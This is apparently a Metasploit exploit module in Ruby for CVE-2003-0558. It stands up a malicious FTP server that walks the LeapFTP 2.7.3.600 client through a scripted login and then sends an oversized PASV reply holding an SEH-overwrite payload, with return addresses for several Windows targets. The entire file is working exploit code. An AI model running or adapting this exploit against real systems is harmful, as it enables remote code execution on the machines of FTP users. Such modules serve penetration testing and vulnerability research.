1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::Remote::TcpServer
10
  include Msf::Exploit::Remote::Seh
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'LeapWare LeapFTP v2.7.3.600 PASV Reply Client Overflow',
17
        'Description' => %q{
18
          This module exploits a buffer overflow in the LeapWare LeapFTP v2.7.3.600
19
          client that is triggered through an excessively long PASV reply command. This
20
          module was ported from the original exploit by drG4njubas with minor improvements.
21
        },
22
        'Author' => [ 'aushack' ],
23
        'License' => MSF_LICENSE,
24
        'References' => [
25
          [ 'CVE', '2003-0558' ],
26
          [ 'OSVDB', '4587' ],
27
          [ 'BID', '7860' ],
28
          [ 'EDB', '54' ]
29
        ],
30
        'DefaultOptions' => {
31
          'EXITFUNC' => 'seh',
32
        },
33
        'Payload' => {
34
          'Space' => 1000,
35
          'BadChars' => "\x00\x0a\x0d\().,",
36
          'StackAdjustment' => -3500,
37
        },
38
        'Platform' => 'win',
39
        'Targets' => [
40
          # Patrick - Tested against w2k sp0, sp4, xp sp0, xp sp2 en OK.
41
          [ 'Universal LeapFTP.exe',	{ 'Ret' => 0x004bdd24 } ], # p/p/r LeapFTP.exe
42
          [ 'Windows 2000 SP0/4 English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll
43
          [ 'Windows XP SP0 English',	{ 'Ret' => 0x7660139c }	], # p/p/r cscdll.dll
44
        ],
45
        'Privileged' => false,
46
        'DisclosureDate' => '2003-06-09',
47
        'DefaultTarget' => 0,
48
        'Notes' => {
49
          'Reliability' => UNKNOWN_RELIABILITY,
50
          'Stability' => UNKNOWN_STABILITY,
51
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
52
        }
53
      )
54
    )
55

56
    register_options(
57
      [
58
        OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
59
        OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]),
60
      ]
61
    )
62
  end
63

64
  def on_client_connect(client)
65
    return if ((p = regenerate_payload(client)) == nil)
66

67
    buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n"
68
    client.put(buffer)
69
  end
70

71
  def on_client_data(client)
72
    client.get_once
73

74
    # This could be improved if anyone wants to write a FTP server API.
75
    user = "331 Please specify the password.\r\n"
76
    client.put(user)
77

78
    client.get_once
79
    pass = "230 Login successful.\r\n"
80
    client.put(pass)
81

82
    client.get_once
83
    syst = "215 Windows_NT 5.1\r\n"
84
    client.put(syst)
85

86
    client.get_once
87
    rest = "350 Restart position accepted (100).\r\n"
88
    client.put(rest)
89

90
    client.get_once
91
    rest = "350 Restart position accepted (0).\r\n"
92
    client.put(rest)
93

94
    client.get_once
95
    pwd = "257 \"/\"\r\n"
96
    client.put(pwd)
97

98
    client.get_once
99
    type = "200 Switching to ASCII mode.\r\n"
100
    client.put(type)
101

102
    client.get_once
103
    port = "500 Illegal PORT command.\r\n" # We force LeapFTP to use PASV. It will try PORT first.
104
    client.put(port)
105

106
    client.get_once
107
    pasv = "227 Entering Passive Mode ("
108
    pasv << rand_text_numeric(1053) + generate_seh_payload(target.ret)
109
    pasv << "," + rand_text_numeric(1)
110
    pasv << "," + rand_text_numeric(1)
111
    pasv << "," + rand_text_numeric(1)
112
    pasv << "," + rand_text_numeric(1)
113
    pasv << "," + rand_text_numeric(1)
114
    pasv << ")\r\n"
115

116
    client.put(pasv)
117

118
    handler(client)
119
    service.close_client(client)
120
  end
121
end
122

123